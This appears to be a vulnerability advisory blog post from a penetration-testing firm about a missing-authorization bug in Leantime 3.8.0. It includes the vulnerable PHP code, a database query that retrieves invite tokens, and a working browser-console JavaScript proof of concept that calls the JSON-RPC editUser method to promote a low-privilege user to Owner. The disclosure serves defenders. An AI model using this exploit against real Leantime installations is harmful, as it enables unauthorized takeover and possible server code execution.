Leantime 3.8.0 Privilege Escalation Vulnerability

A broken access control flaw (CWE-862) in Leantime ≤3.8.0 lets any authenticated low-privilege user escalate to Owner via the JSON-RPC API. PoC, impact, and fix.

J
Jobyer Ahmed
3 min read

Leantime is a popular open-source project-management app. It has a JSON-RPC API that any signed-in user's browser talks to. We found that several of those API methods forgot to check who is calling them. The result: a user with the lowest role in the system , an "Editor", "Read-only", or "Commenter", can call one API method from their own browser and promote themselves to Owner, taking complete control of the installation. They can also create new Owner accounts, overwrite the owner's password, change global settings, and read other tenants' data.

We verified this end-to-end against the current release (leantime/leantime:latest, version 3.8.0).

  • Type: Missing authorization (CWE-862) / privilege escalation (CWE-269)
  • Access required: any one ordinary logged-in account (no admin rights)
  • Impact: full takeover of the Leantime installation (and, via Owner-only plugin installation, code execution on the server)
  • Severity: CVSS 3.1 8.8 (High), trending Critical

The bug

Inside the Users service, some methods check the caller's role and some don't, right next to each other:

// SAFE — checks the caller is an admin first
public function patchUser(int $id, array $params): bool
{
    if (Auth::userIsAtLeast(Roles::$admin)) { /* allowed to edit anyone */ }
    elseif ($id === (int) session('userdata.id')) { /* only own profile, limited fields */ }
    else { return false; }
    ...
}
 
// VULNERABLE — no check at all
/** @api */
public function editUser($values, $id): bool
{
    $results = $this->userRepo->editUser($values, $id);   // writes role/password to ANY user id
    ...
}
 
/** @api */
public function addUser(array $values): bool|int
{
    return $this->userRepo->addUser($values);             // creates a user with ANY role
}

editUser() writes whatever role you pass straight into the database for whatever user id you pass and if you include a password, it hashes and stores that too. addUser() creates a new account with whatever role you choose. Neither asks whether you are allowed to do it.

The JSON-RPC dispatcher doesn't help: it only checks that the method is tagged @api, not whether the caller is authorized to run it. Authorization was left to each method, and these methods skipped it.

The same gap exists in setting.saveSetting (write any global setting), clients.getAll (read every client across tenants), and getUser (which returns users' password hashes).

Reproducing The Exploit

  1. Login as the owner: [email protected] and password: OwnerPass!123
  2. Create an user with Read only permission:
    email: [email protected], First name: Test, Last name: Admin
  3. Invite the user. Since we are in docker, Email wasn't configured, For testing purpose, we need retrieve the token manually.
docker exec lt-db mariadb -uroot -prootpw leantime -e "SELECT id,username,pwReset FROM zp_user WHERE pwReset IS NOT NULL;"
id	username	pwReset
12	[email protected]	f7355e46-ab6d-46dd-bb54-d6af73c3ba80

Open http://localhost:8090/auth/userInvite/f7355e46-ab6d-46dd-bb54-d6af73c3ba80 in the browser and Set a password.

  1. Logout from owner account and sign in with new user. We notice no owner interface for the new user at all.
  2. Now login as the user with the password, and run this exploit in dev console:
  (async () => {
    const rpc = (method, params) => fetch('/api/jsonrpc', {
      method:'POST', credentials:'include',
      headers:{'Content-Type':'application/json','X-Requested-With':'XMLHttpRequest'},
      body: JSON.stringify({jsonrpc:'2.0', id:1, method, params})
    }).then(r => r.json());

    const me = (await rpc('leantime.rpc.users.users.getUser', {})).result;
    console.log('logged in as:', me.username, '| id', me.id, '| current role', me.role);
    const res = await rpc('leantime.rpc.users.users.editUser', {
      values: { firstname: me.firstname, lastname: me.lastname, user: me.username,
                status: 'a', role: 50, clientId: me.clientId || '' },
      id: me.id
    });
    console.log('escalation result:', res, '— now log out and back in');
  })();

Result:

image.png6. Now just logout and relogin, you are the owner.

image.png

Impact

An Owner in Leantime controls everything, such as, all projects, clients, users and global settings. Owners can also install plugins, which run server-side code, so this privilege escalation can be chained to remote code execution on the host. Because any ordinary account is enough to start the chain, in practice a single low-trust user (or a stolen low-privilege session) compromises the whole instance.

Timeline

Credit: Jobyer Ahmed, Bytium.

Reference

J
Jobyer Ahmed

Founder & Security Lead, Bytium

Leads penetration testing and detection engineering at Bytium, focusing on exploit-backed findings, practical remediation, and verified closure.

Need help?

Talk with Bytium

Share your goals and we'll shape the right testing, detection, or compliance plan.

Talk to security